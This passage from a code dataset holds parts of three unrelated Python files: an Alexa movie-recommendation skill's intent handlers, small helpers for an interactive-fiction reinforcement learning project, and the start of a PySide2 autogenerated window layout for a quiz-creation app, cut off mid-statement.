feedbackGeneralRaw is None:\n                feedbackPhase = 0\n            else:\n                feedbackPhase = 1\n        elif request.dialog_state == DialogState.IN_PROGRESS:\n            if feedbackGeneralRaw is None: ##\n                feedbackPhase = 0 ##\n            elif not feedbackAspectsIsGiven:\n                feedbackPhase = 1\n            else:\n                feedbackPhase = 2\n        else: #request.dialog_state == DialogState.COMPLETED\n            feedbackPhase = 3\n            \n        \n        \n        if feedbackPhase == 0: #prompt feedbackGeneral slot automatically\n            responseBuilder.add_directive(DelegateDirective())\n            \n        elif feedbackPhase == 1: #we have feedbackGeneral, let's parse it and prompt feedbackAspects\n            #process feedbackGeneralRaw\n            isFeedbackPositive = isSentimentPositive(str(feedbackGeneralRaw))\n            #store the canonical, simplified version of the feedback in the intent for later use\n            intent.slots[\"feedbackGeneral\"].value = (FEEDBACK_NEGATIVE, FEEDBACK_POSITIVE)[isFeedbackPositive]\n            \n            speak_output = (SENTENCE_FEEDBACK_WAS_NEGATIVE,SENTENCE_FEEDBACK_WAS_POSITIVE)[isFeedbackPositive]\n            prompt_output = PROMPT_FEEDBACK_ASPECTS.format((\"didn't\", \"did\")[isFeedbackPositive], \"it\")\n            responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"feedbackAspects\", intent))\n            \n        elif feedbackPhase == 2:\n            #resolve slots: try to match feedbackAspectsRaw to a canonical slot name\n            slotResolutions = []\n            if feedbackAspectsIsMulti == True:\n                if feedbackAspectsSyntaxIsMessedUpAgain:\n                    allvalues = feedbackAspectsRaw['values']\n                    for val in allvalues:\n                        slotResolutions.append({\n                            \"orig\": val['value'],\n                            \"resolution\": val['resolutions']['resolutionsPerAuthority'][0]\n                        })\n                else:\n                    allvalues = feedbackAspectsRaw.values\n                    for val in allvalues:\n                        slotResolutions.append({\n                            \"orig\": val.value,\n                            \"resolution\": val.resolutions.resolutions_per_authority[0]\n                        })\n            else:\n                if feedbackAspectsSyntaxIsMessedUpAgain:\n                    slotResolutions.append({\n                        \"orig\": feedbackAspectsRaw['value'],\n                        \"resolution\": feedbackAspectsRaw['resolutions']['resolutionsPerAuthority'][0]\n                    })\n                else:\n                    slotResolutions.append({\n                        \"orig\": feedbackAspectsRaw.value, #['value'] tested, does not work. for reasons.\n                        \"resolution\": feedbackAspectsRaw.resolutions.resolutions_per_authority[0]\n                    })\n            \n            resolvedToSave = []\n            unresolvedToSave = []\n            if feedbackAspectsSyntaxIsMessedUpAgain:\n                for val in slotResolutions:\n                    if val['resolution']['status']['code'] == 'ER_SUCCESS_MATCH':\n                        resolvedToSave.append(val['resolution']['values'][0]['value']['name']) #resolved to canonical slot value\n                    else:\n                        if(val['orig'] != 'the'): #sometimes, e.g. when saying \"the writing and the cast\", Alexa will fill the slots with \"writing\", \"the\" and \"cast\". It can't resolve \"the\", so throw all the \"the\"s out here.\n                            unresolvedToSave.append(val['orig']) #unresolved\n            else:\n                for val in slotResolutions:\n                    if val['resolution'].status.code == StatusCode.ER_SUCCESS_MATCH:\n                        resolvedToSave.append(val['resolution'].values[0].value.name) #resolved to canonical slot value\n                    else:\n                        if(val['orig'] != 'the'): #sometimes, e.g. when saying \"the writing and the cast\", Alexa will fill the slots with \"writing\", \"the\" and \"cast\". It can't resolve \"the\", so throw all the \"the\"s out here.\n                            unresolvedToSave.append(val['orig']) #unresolved\n            \n            handler_input.attributes_manager.session_attributes[\"resolvedMovieAspects\"] = resolvedToSave\n            handler_input.attributes_manager.session_attributes[\"unresolvedMovieAspects\"] = unresolvedToSave\n            \n            if len(resolvedToSave)>0:\n                #intent.slots[\"feedbackAspects\"].value = str(resolvedToSave)\n                userID = handler_input.request_envelope.context.system.user.user_id\n                update_likings_by_id(userID, {\n                    \"acting\": (\"acting\" in resolvedToSave),\n                    \"genre\": (\"genre\" in resolvedToSave),\n                    \"movie\": (\"movie\" in resolvedToSave)\n                })\n                responseBuilder.add_directive(DelegateDirective(intent))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_FEEDBACK_ASPECTS.format((\"didn't\", \"did\")[intent.slots[\"feedbackGeneral\"].value is FEEDBACK_POSITIVE], \"the recommendation\")\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"finalConfirmation\"))\n            \n            #responseBuilder.add_directive(DelegateDirective(intent))\n            \n        else: # feedbackPhase == 3; we have all feedback values and can move on.\n            userID = handler_input.request_envelope.context.system.user.user_id\n            rate_last_watched_movie_by_id(userID, (feedbackGeneralRaw==FEEDBACK_POSITIVE))\n            #aspects = intent.slots[\"feedbackAspects\"].value\n            #update_likings_by_id(userID, {\n            #    \"acting\": (\"acting\" in aspects),\n            #    \"genre\": (\"genre\" in aspects),\n            #    \"movie\": (\"movie\" in aspects)\n            #})\n            \n            speak_output = SENTENCE_FEEDBACK_ACCEPTED\n            responseBuilder.speak(speak_output)\n                \n            \n        return responseBuilder.response\n\n\nclass HelpIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Help Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"AMAZON.HelpIntent\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        speak_output = \"To get a recommendation, you can just say: Recommend something. You can also request films similar to a given film, from a specific genre or with an actor or actress of your choice. To let me pick a good rewatch, just say: Recommend a rewatch. To change your profile, just say: Setup.\"\n\n        return (\n            handler_input.response_builder\n                .speak(speak_output)\n                .ask(speak_output)\n                .response\n        )\n\n\nclass CancelOrStopIntentHandler(AbstractRequestHandler):\n    \"\"\"Single handler for Cancel and Stop Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return (ask_utils.is_intent_name(\"AMAZON.CancelIntent\")(handler_input) or\n                ask_utils.is_intent_name(\"AMAZON.StopIntent\")(handler_input))\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        speak_output = \"Cancelling.\"\n\n        return (\n            handler_input.response_builder\n                .speak(speak_output)\n                .response\n        )\n\n\nclass SessionEndedRequestHandler(AbstractRequestHandler):\n    \"\"\"Handler for Session End.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_request_type(\"SessionEndedRequest\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n\n        # Any cleanup logic goes here.\n\n        return handler_input.response_builder.response\n\n\nclass IntentReflectorHandler(AbstractRequestHandler):\n    \"\"\"The intent reflector is used for interaction model testing and debugging.\n    It will simply repeat the intent the user said. You can create custom handlers\n    for your intents by defining them above, then also adding them to the request\n    handler chain below.\n    \"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_request_type(\"IntentRequest\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        intent_name = ask_utils.get_intent_name(handler_input)\n        speak_output = \"You just triggered \" + intent_name + \".\"\n\n        return (\n            handler_input.response_builder\n                .speak(speak_output)\n                # .ask(\"add a reprompt if you want to keep the session open for the user to respond\")\n                .response\n        )\n\n\nclass CatchAllExceptionHandler(AbstractExceptionHandler):\n    \"\"\"Generic error handling to capture any syntax or routing errors. If you receive an error\n    stating the request handler chain is not found, you have not implemented a handler for\n    the intent being invoked or included it in the skill builder below.\n    \"\"\"\n    def can_handle(self, handler_input, exception):\n        # type: (HandlerInput, Exception) -> bool\n        return True\n\n    def handle(self, handler_input, exception):\n        # type: (HandlerInput, Exception) -> Response\n        logger.error(exception, exc_info=True)\n\n        speak_output = \"Sorry, I had trouble doing what you asked. Please try again.\"\n\n        return (\n            handler_input.response_builder\n                .speak(speak_output)\n                .ask(speak_output)\n                .response\n        )\n\n# The SkillBuilder object acts as the entry point for your skill, routing all request and response\n# payloads to the handlers above. Make sure any new handlers or interceptors you've\n# defined are included below. The order matters - they're processed top to bottom.\n\n\nsb = SkillBuilder()\n\nsb.add_request_handler(LaunchRequestHandler())\nsb.add_request_handler(RecommendationIntentHandler())\nsb.add_request_handler(RecommendationByMovieIntentHandler())\nsb.add_request_handler(RecommendationByActorIntentHandler())\nsb.add_request_handler(RecommendationByGenreIntentHandler())\nsb.add_request_handler(RecommendationRewatchIntentHandler())\nsb.add_request_handler(SetupIntentHandler())\nsb.add_request_handler(FeedbackIntentHandler())\n\nsb.add_request_handler(HelpIntentHandler())\nsb.add_request_handler(CancelOrStopIntentHandler())\nsb.add_request_handler(SessionEndedRequestHandler())\nsb.add_request_handler(IntentReflectorHandler()) # make sure IntentReflectorHandler is last so it doesn't override your custom intent handlers\n\nsb.add_exception_handler(CatchAllExceptionHandler())\n\nlambda_handler = sb.lambda_handler()","repo_name":"onumtiger/ultron","sub_path":"lambda/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":61283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31076673013","text":"import re\n\n\ndef pretty_print_state(state):\n    '''Pretty print the text of a state in the interactive fiction game'''\n    state = str(state)\n    state = state.replace('\\\\\\'', '\\'')\n    pattern = re.compile(r'\\\\n|b\\'|b\"')\n    state = re.sub(pattern, ' ', state)\n    state = state.strip('\\'').strip('\\\"').strip()\n    return state\n\n\ndef demo_n_games(agent, n_games=1000, mode='agent'):\n    '''Run n game simulations and compute the average performance'''\n    scores = []\n    for _ in range(n_games):\n        score = agent.demo_game(mode=mode, verbose=False)\n        scores.append(score)\n    return sum(scores)/n_games\n","repo_name":"bingwang32/RL_InteractiveFiction","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72039902271","text":"from PySide2 import QtCore, QtGui, QtWidgets\nfrom PySide2.QtCore import (QCoreApplication, QPropertyAnimation, QDate, QDateTime, QMetaObject, QObject, QPoint, QRect,\n                            QSize, QTime, QUrl, Qt, QEvent)\nfrom PySide2.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont, QFontDatabase, QIcon, QKeySequence,\n                           QLinearGradient, QPalette, QPainter, QPixmap, QRadialGradient)\nfrom PySide2.QtWidgets import *\n\n\nclass Ui_MainWindow(object):\n    \"\"\"Clase autogenerada por pyuic que al lanzarla genera la ventana principal de la aplicación.\"\"\"\n\n    def setupUi(self, MainWindow):\n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(1000, 500)\n        MainWindow.setMinimumSize(QSize(1000, 500))\n        MainWindow.setStyleSheet(\"background-color: rgb(45, 45, 45);\")\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n        self.verticalLayout.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout.setSpacing(0)\n        self.verticalLayout.setObjectName(\"verticalLayout\")\n        self.Top_Bar = QtWidgets.QFrame(self.centralwidget)\n        self.Top_Bar.setMaximumSize(QtCore.QSize(50000, 40))\n        self.Top_Bar.setStyleSheet(\"background-color: rgb(35, 35, 35);\")\n        self.Top_Bar.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.Top_Bar.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.Top_Bar.setObjectName(\"Top_Bar\")\n        self.horizontalLayout = QtWidgets.QHBoxLayout(self.Top_Bar)\n        self.horizontalLayout.setContentsMargins(0, 0, 0, 0)\n        self.horizontalLayout.setSpacing(0)\n        self.horizontalLayout.setObjectName(\"horizontalLayout\")\n        self.frame_toggle = QtWidgets.QFrame(self.Top_Bar)\n        self.frame_toggle.setMaximumSize(QtCore.QSize(70, 40))\n        self.frame_toggle.setStyleSheet(\"\")\n        self.frame_toggle.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.frame_toggle.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_toggle.setObjectName(\"frame_toggle\")\n        self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.frame_toggle)\n        self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_2.setSpacing(0)\n        self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\n        self.btn_toggle = QtWidgets.QPushButton(self.frame_toggle)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.btn_toggle.sizePolicy().hasHeightForWidth())\n        self.btn_toggle.setSizePolicy(sizePolicy)\n        self.btn_toggle.setStyleSheet(\"background-image: url(:/newPrefix/menu.png);\\n\"\n                                      \"background-position: center;\\n\"\n                                      \"background-repeat: no-reperat;\\n\"\n                                      \"border: none;\\n\"\n                                      \"background-color: rgb(27, 29, 35);\")\n        self.btn_toggle.setText(\"\")\n        self.btn_toggle.setObjectName(\"btn_toggle\")\n        self.verticalLayout_2.addWidget(self.btn_toggle)\n        self.horizontalLayout.addWidget(self.frame_toggle)\n        self.frame_top = QtWidgets.QFrame(self.Top_Bar)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.frame_top.sizePolicy().hasHeightForWidth())\n        self.frame_top.setSizePolicy(sizePolicy)\n        self.frame_top.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.frame_top.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_top.setObjectName(\"frame_top\")\n        self.horizontalLayout.addWidget(self.frame_top)\n        self.verticalLayout.addWidget(self.Top_Bar)\n        self.Content = QtWidgets.QFrame(self.centralwidget)\n        self.Content.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.Content.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.Content.setObjectName(\"Content\")\n        self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.Content)\n        self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0)\n        self.horizontalLayout_2.setSpacing(0)\n        self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n        self.frame_left_menu = QtWidgets.QFrame(self.Content)\n        self.frame_left_menu.setMinimumSize(QtCore.QSize(70, 0))\n        self.frame_left_menu.setMaximumSize(QtCore.QSize(70, 16777215))\n        self.frame_left_menu.setStyleSheet(\"background-color: rgb(35, 35, 35);\")\n        self.frame_left_menu.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_left_menu.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_left_menu.setObjectName(\"frame_left_menu\")\n        self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_left_menu)\n        self.verticalLayout_3.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_3.setSpacing(6)\n        self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\n        self.frame_top_menus = QtWidgets.QFrame(self.frame_left_menu)\n        self.frame_top_menus.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.frame_top_menus.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_top_menus.setObjectName(\"frame_top_menus\")\n        self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_top_menus)\n        self.verticalLayout_4.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_4.setSpacing(0)\n        self.verticalLayout_4.setObjectName(\"verticalLayout_4\")\n        self.btn_menu_home = QtWidgets.QPushButton(self.frame_top_menus)\n        self.btn_menu_home.setMinimumSize(QtCore.QSize(0, 40))\n        self.btn_menu_home.setStyleSheet(\"QPushButton{\\n\"\n                                         \"    color:rgb(255, 255, 255);\\n\"\n                                         \"    background-color: rgb(35, 35, 35);\\n\"\n                                         \"    border: 0px solid;\\n\"\n                                         \"    background-image: url(:/newPrefix/home.png);\\n\"\n                                         \"    background-repeat: no-reperat;\\n\"\n                                         \"    border: none;\\n\"\n                                         \"    background-position: center;\\n\"\n                                         \"}\\n\"\n                                         \"\\n\"\n                                         \"QPushButton:hover{\\n\"\n                                         \"    background-color: rgb(255, 204, 0);\\n\"\n                                         \"}\")\n        self.btn_menu_home.setText(\"\")\n        self.btn_menu_home.setObjectName(\"btn_menu_home\")\n        self.verticalLayout_4.addWidget(self.btn_menu_home)\n        self.btn_menu_home_2 = QtWidgets.QPushButton(self.frame_top_menus)\n        self.btn_menu_home_2.setMinimumSize(QtCore.QSize(0, 40))\n        self.btn_menu_home_2.setStyleSheet(\"QPushButton{\\n\"\n                                           \"    color:rgb(255, 255, 255);\\n\"\n                                           \"    background-color: rgb(35, 35, 35);\\n\"\n                                           \"    border: 0px solid;\\n\"\n                                           \"    background-image: url(:/newPrefix/create.png);\\n\"\n                                           \"    background-repeat: no-reperat;\\n\"\n                                           \"    border: none;\\n\"\n                                           \"    background-position: center;\\n\"\n                                           \"}\\n\"\n                                           \"\\n\"\n                                           \"QPushButton:hover{\\n\"\n                                           \"        \\n\"\n                                           \"    background-color: rgb(255, 204, 0);\\n\"\n                                           \"}\")\n        self.btn_menu_home_2.setText(\"\")\n        self.btn_menu_home_2.setObjectName(\"btn_menu_home_2\")\n        self.verticalLayout_4.addWidget(self.btn_menu_home_2)\n        self.btn_menu_home_3 = QtWidgets.QPushButton(self.frame_top_menus)\n        self.btn_menu_home_3.setMinimumSize(QtCore.QSize(0, 40))\n        self.btn_menu_home_3.setStyleSheet(\"QPushButton{\\n\"\n                                           \"    color:rgb(255, 255, 255);\\n\"\n                                           \"    background-color: rgb(35, 35, 35);\\n\"\n                                           \"    \\n\"\n                                           \"    background-image: url(:/newPrefix/testList.png);\\n\"\n                                           \"    background-repeat: no-reperat;\\n\"\n                                           \"    border: none;\\n\"\n                                           \"    background-position: center;\\n\"\n                                           \"}\\n\"\n                                           \"\\n\"\n                                           \"QPushButton:hover{\\n\"\n                                           \"        \\n\"\n                                           \"    background-color: rgb(255, 204, 0);\\n\"\n                                           \"}\")\n        self.btn_menu_home_3.setText(\"\")\n        self.btn_menu_home_3.setObjectName(\"btn_menu_home_3\")\n        self.verticalLayout_4.addWidget(self.btn_menu_home_3)\n        self.verticalLayout_3.addWidget(self.frame_top_menus, 0, QtCore.Qt.AlignTop)\n        self.horizontalLayout_2.addWidget(self.frame_left_menu)\n        self.frame_pages = QtWidgets.QFrame(self.Content)\n        self.frame_pages.setMaximumSize(QtCore.QSize(16777215, 16777215))\n        self.frame_pages.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_pages.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_pages.setObjectName(\"frame_pages\")\n        self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.frame_pages)\n        self.verticalLayout_5.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_5.setSpacing(0)\n        self.verticalLayout_5.setObjectName(\"verticalLayout_5\")\n        self.pages_widget = QtWidgets.QStackedWidget(self.frame_pages)\n        self.pages_widget.setObjectName(\"pages_widget\")\n        self.pg_home = QtWidgets.QWidget()\n        self.pg_home.setObjectName(\"pg_home\")\n        self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.pg_home)\n        self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n        self.frame = QtWidgets.QFrame(self.pg_home)\n        self.frame.setMaximumSize(QtCore.QSize(700, 350))\n        self.frame.setStyleSheet(\"QFrame{\\n\"\n                                 \"    background-color: rgb(56, 58, 89 );\\n\"\n                                 \"    color:rgb(220,    220, 220);\\n\"\n                                 \"    border-radius:10px;\\n\"\n                                 \"}\\n\"\n                                 \"\\n\"\n                                 \"\")\n        self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame.setObjectName(\"frame\")\n        self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.frame)\n        self.verticalLayout_6.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_6.setSpacing(0)\n        self.verticalLayout_6.setObjectName(\"verticalLayout_6\")\n        self.label = QtWidgets.QLabel(self.frame)\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe UI\")\n        font.setPointSize(90)\n        font.setBold(False)\n        font.setWeight(50)\n        self.label.setFont(font)\n        self.label.setStyleSheet(\"color:rgb(255, 204, 0);\")\n        self.label.setScaledContents(False)\n        self.label.setAlignment(QtCore.Qt.AlignCenter)\n        self.label.setObjectName(\"label\")\n        self.verticalLayout_6.addWidget(self.label)\n        self.label_2 = QtWidgets.QLabel(self.frame)\n        font = QtGui.QFont()\n        font.setFamily(\"Segoe UI\")\n        font.setPointSize(23)\n        self.label_2.setFont(font)\n        self.label_2.setStyleSheet(\"color:rgb(98,114,164);\")\n        self.label_2.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_2.setObjectName(\"label_2\")\n        self.verticalLayout_6.addWidget(self.label_2)\n        self.horizontalLayout_3.addWidget(self.frame)\n        self.pages_widget.addWidget(self.pg_home)\n        self.pg_create = QtWidgets.QWidget()\n        self.pg_create.setObjectName(\"pg_create\")\n        self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.pg_create)\n        self.verticalLayout_8.setContentsMargins(6, 10, 0, 0)\n        self.verticalLayout_8.setSpacing(0)\n        self.verticalLayout_8.setObjectName(\"verticalLayout_8\")\n        self.pages_test_create = QtWidgets.QStackedWidget(self.pg_create)\n        self.pages_test_create.setFrameShape(QtWidgets.QFrame.NoFrame)\n        self.pages_test_create.setObjectName(\"pages_test_create\")\n        self.pg_testname = QtWidgets.QWidget()\n        self.pg_testname.setObjectName(\"pg_testname\")\n        self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.pg_testname)\n        self.horizontalLayout_4.setContentsMargins(0, 0, 0, 0)\n        self.horizontalLayout_4.setSpacing(0)\n        self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n        self.frame_2 = QtWidgets.QFrame(self.pg_testname)\n        self.frame_2.setMaximumSize(QtCore.QSize(300, 300))\n        self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_2.setLineWidth(1)\n        self.frame_2.setObjectName(\"frame_2\")\n        self.verticalLayout_9 = QtWidgets.QVBoxLayout(self.frame_2)\n        self.verticalLayout_9.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_9.setSpacing(0)\n        self.verticalLayout_9.setObjectName(\"verticalLayout_9\")\n        self.label_TituloTest = QtWidgets.QLabel(self.frame_2)\n        self.label_TituloTest.setMaximumSize(QtCore.QSize(16777215, 30))\n        font = QtGui.QFont()\n        font.setPointSize(20)\n        font.setBold(False)\n        font.setWeight(50)\n        self.label_TituloTest.setFont(font)\n        self.label_TituloTest.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_TituloTest.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_TituloTest.setObjectName(\"label_TituloTest\")\n        self.verticalLayout_9.addWidget(self.label_TituloTest)\n        spacerItem = QtWidgets.QSpacerItem(20, 33, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n        self.verticalLayout_9.addItem(spacerItem)\n        self.lineEdit_nombreTest = QtWidgets.QLineEdit(self.frame_2)\n        self.lineEdit_nombreTest.setMinimumSize(QtCore.QSize(0, 30))\n        self.lineEdit_nombreTest.setStyleSheet(\"QLineEdit {\\n\"\n                                               \"    \\n\"\n                                               \"    color: rgb(255, 255, 255);\\n\"\n                                               \"    background-color: rgb(33, 37, 43);\\n\"\n                                               \"    border-radius: 5px;\\n\"\n                                               \"    border: 2px solid rgb(33, 37, 43);\\n\"\n                                               \"    padding-left: 10px;\\n\"\n                                               \"    selection-color: rgb(255, 255, 255);\\n\"\n                                               \"    selection-background-color: rgb(255, 121, 198);\\n\"\n                                               \"}\\n\"\n                                               \"QLineEdit:hover {\\n\"\n                                               \"    border: 2px solid rgb(64, 71, 88);\\n\"\n                                               \"}\\n\"\n                                               \"QLineEdit:focus {\\n\"\n                                               \"    border: 2px solid rgb(91, 101, 124);\\n\"\n                                               \"}\")\n        self.lineEdit_nombreTest.setText(\"\")\n        self.lineEdit_nombreTest.setObjectName(\"lineEdit_nombreTest\")\n        self.verticalLayout_9.addWidget(self.lineEdit_nombreTest)\n        self.label_tituloTestError = QtWidgets.QLabel(self.frame_2)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.label_tituloTestError.sizePolicy().hasHeightForWidth())\n        self.label_tituloTestError.setSizePolicy(sizePolicy)\n        self.label_tituloTestError.setMaximumSize(QtCore.QSize(5000, 25))\n        self.label_tituloTestError.setLayoutDirection(QtCore.Qt.LeftToRight)\n        self.label_tituloTestError.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_tituloTestError.setLineWidth(1)\n        self.label_tituloTestError.setText(\"\")\n        self.label_tituloTestError.setScaledContents(False)\n        self.label_tituloTestError.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_tituloTestError.setObjectName(\"label_tituloTestError\")\n        self.verticalLayout_9.addWidget(self.label_tituloTestError)\n        spacerItem1 = QtWidgets.QSpacerItem(20, 21, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n        self.verticalLayout_9.addItem(spacerItem1)\n        self.frame_3 = QtWidgets.QFrame(self.frame_2)\n        self.frame_3.setMaximumSize(QtCore.QSize(16777215, 40))\n        self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_3.setObjectName(\"frame_3\")\n        self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.frame_3)\n        self.horizontalLayout_5.setContentsMargins(0, 0, 0, 0)\n        self.horizontalLayout_5.setSpacing(0)\n        self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\n        self.btn_crearTest = QtWidgets.QPushButton(self.frame_3)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.btn_crearTest.sizePolicy().hasHeightForWidth())\n        self.btn_crearTest.setSizePolicy(sizePolicy)\n        self.btn_crearTest.setMaximumSize(QtCore.QSize(150, 30))\n        self.btn_crearTest.setStyleSheet(\"QPushButton {\\n\"\n                                         \"    \\n\"\n                                         \"    color: rgb(255, 255, 255);\\n\"\n                                         \"    border: 2px solid rgb(52, 59, 72);\\n\"\n                                         \"    border-radius: 5px;    \\n\"\n                                         \"    background-color: rgb(52, 59, 72);\\n\"\n                                         \"}\\n\"\n                                         \"QPushButton:hover {\\n\"\n                                         \"    background-color: rgb(57, 65, 80);\\n\"\n                                         \"    border: 2px solid rgb(61, 70, 86);\\n\"\n                                         \"}\\n\"\n                                         \"QPushButton:pressed {    \\n\"\n                                         \"    background-color: rgb(35, 40, 49);\\n\"\n                                         \"    border: 2px solid rgb(43, 50, 61);\\n\"\n                                         \"}\")\n        self.btn_crearTest.setObjectName(\"btn_crearTest\")\n        self.horizontalLayout_5.addWidget(self.btn_crearTest)\n        self.verticalLayout_9.addWidget(self.frame_3)\n        self.horizontalLayout_4.addWidget(self.frame_2)\n        self.pages_test_create.addWidget(self.pg_testname)\n        self.preguntas_test = QtWidgets.QWidget()\n        self.preguntas_test.setObjectName(\"preguntas_test\")\n        self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.preguntas_test)\n        self.horizontalLayout_6.setContentsMargins(0, 0, 0, 0)\n        self.horizontalLayout_6.setSpacing(0)\n        self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\n        self.frame_4 = QtWidgets.QFrame(self.preguntas_test)\n        self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_4.setObjectName(\"frame_4\")\n        self.label_numeroPregunta = QtWidgets.QLabel(self.frame_4)\n        self.label_numeroPregunta.setGeometry(QtCore.QRect(380, 10, 101, 51))\n        self.label_numeroPregunta.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_numeroPregunta.setObjectName(\"label_numeroPregunta\")\n        self.textEdit_Enunciado = QtWidgets.QTextEdit(self.frame_4)\n        self.textEdit_Enunciado.setGeometry(QtCore.QRect(180, 90, 501, 31))\n        self.textEdit_Enunciado.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.textEdit_Enunciado.setObjectName(\"textEdit_Enunciado\")\n        self.label_Enunciado = QtWidgets.QLabel(self.frame_4)\n        self.label_Enunciado.setGeometry(QtCore.QRect(90, 90, 71, 31))\n        self.label_Enunciado.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_Enunciado.setObjectName(\"label_Enunciado\")\n        self.frame_5 = QtWidgets.QFrame(self.frame_4)\n        self.frame_5.setGeometry(QtCore.QRect(170, 130, 511, 231))\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.frame_5.sizePolicy().hasHeightForWidth())\n        self.frame_5.setSizePolicy(sizePolicy)\n        